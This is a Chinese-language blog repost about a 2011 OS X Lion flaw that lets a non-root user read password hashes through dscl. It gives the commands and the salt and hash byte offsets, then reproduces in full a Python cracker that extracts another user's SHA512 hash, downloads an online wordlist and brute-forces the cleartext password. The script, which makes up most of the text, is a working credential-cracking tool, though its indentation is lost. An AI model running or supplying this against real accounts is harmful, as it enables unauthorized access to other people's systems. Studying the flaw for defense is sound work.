转载自:http://www.techolics.com/apple/20110922_72.html
9月19日,星期一,名为Patrick Dunstan的黑客公布了如何利用苹果最新Lion操作系统(Mac OS X 10.7)的漏洞破解和修改Lion操作 系统用户登陆密码的方法。他的方法可以使攻击者在不需要使用用户密码的情况下通过远程的方式修改用户的Lion系统登陆密码。密码被修改后原有用户登陆时会提示密码错误无 法登陆Lion界面。本文将简要探究一下这种Lion用户密码破解方式,目的在于帮助用户做好防范措施直到有系统补丁修改此漏洞。
警惕黑客使用Lion系统漏洞破解和修改用 户登陆密码
Lion操作系统是如何保存用户登陆密码的?
Lion系统密码的保存方式与Linux类似,因为Lion和Linux都是基于Unix内核的 。当创建一个用户账户后,系统会为此用户账号的密码文件生成一个加密的Hash加密.plist文件做为Shadow(影子)文件。并将此文件保存到 /var/db/dslocal/nodes/Default/users路径下。黑客一般是通过获取用户帐号的Generated User ID(GID),并在Shadow文件中找到此GID。但是只有Root用户才有此权 限。Lion系统也使用同样的存储技术,Lion系统的普通用户无法直接读取此hash数据,但却可以将其从Directory Services(目录服务)中解压出来。
解压 获取Lion操作系统用户登陆密码文件的hash值
要获取Lion用户的账户信息通常使用以下命令:
$ dscl localhost -read /Local/Default/Users/<root user>
要看到hash数据我们只需要调用Directory Services的/Search/path,例如:
$ dscl localhost -read /Search/Users/<root user>
此时你可以看到以下信息:
dsAttrTypeNative:ShadowHashData:
看到此行下面的字节值,第28-32字节为密码盐(sale),第32-96字节为SHA512 hash值。如果用 户要提升权限只需要将此hash值输入到SHA512密码破解器使用4字节的密码盐度进行运算。Patrick Dunstan也放出了一个用python写的此破解器,可点击此处下载。
[除非注明,tech迷文章均为原创,转载请以链接形式标明本文地址]
OS X Lion Password Cracker
##########################################
#* OS X Lion 10.7 Password Cracker
#* UID 0 NOT required
#*
#* Usage:
#* python lion_crack.py [username] [dictionary]
#*
#*
#* Patrick Dunstan
#* Sep 18, 2011
#* http://www.defenceindepth.net
#*
###########################################
from subprocess import *
import hashlib
import os
import urllib2
import sys
from string import *
link = "http://nmap.org/svn/nselib/data/passwords.lst" # Online password file
defaultuser = False
username = ""
def check(password): # Hash password and compare
if not password.startswith("#!"): # Ignore comments
guess = hashlib.sha512(salt_hex + password).hexdigest()
print("Trying... " + password)
if guess == hash:
print("Cleartext password for user '"+username+"' is : "+password)
exit(0)
if len(sys.argv) < 2:
print("No username given. Defaulting to current user.")
defaultuser = True
else:
username = sys.argv[1]
p = Popen("whoami", shell=True, stdout=PIPE)
whoami = p.communicate()[0]
if defaultuser:
username = whoami.rstrip()
p = Popen("dscl localhost -read /Search/Users/" + username, shell=True, stdout=PIPE)
dscl_out = p.communicate()[0]
list = dscl_out.split("\n")
for pos,item in enumerate(list): # extract digest
if "dsAttrTypeNative:ShadowHashData" in item:
digest = list[pos+1].replace(" ", "")
if len(digest) == 262: # Out of box configuration
salt = digest[56:64]
hash = digest[64:192]
elif len(digest) == 314: # SMB turned on
print("SMB is on")
salt = digest[104:112]
hash = digest[112:240]
elif len(digest) == 1436: # Lion Server
salt = digest[176:184]
hash = digest[176:304]
elif len(digest) == 1492: # Lion Server with SMB
salt = digest[224:232]
hash = digest[232:360]
print("SALT : " + salt)
print("HASH : " + hash)
salt_hex = chr(int(salt[0:2], 16)) + chr(int(salt[2:4], 16)) + chr(int(salt[4:6], 16)) + chr(int(salt[6:8], 16))
if len(sys.argv) == 3: # If dictionary file specified
print("Reading from dictionary file '"+sys.argv[2]+"'.")
check(whoami.rstrip())
passlist = open(sys.argv[2], "r")
password = passlist.readline()
while password:
check(password.rstrip())
password = passlist.readline()
passlist.close()
else: # No dictionary file specified
print("No dictionary file specified. Defaulting to hard coded link.")
passlist = urllib2.urlopen(link) # Download dictionary file
passwords = passlist.read().split("\n")
print("\nPassword list successfully read")
passwords.append(whoami.rstrip())
print("\nCracking...")
for password in passwords:
check(password)
# Save hash for later
print("\nSaving hash to "+username+".hash...")
out = open(username+".hash", "w")
out.write(salt+hash)
out.close()
print("\nPassword not found. Try another dictionary.\n")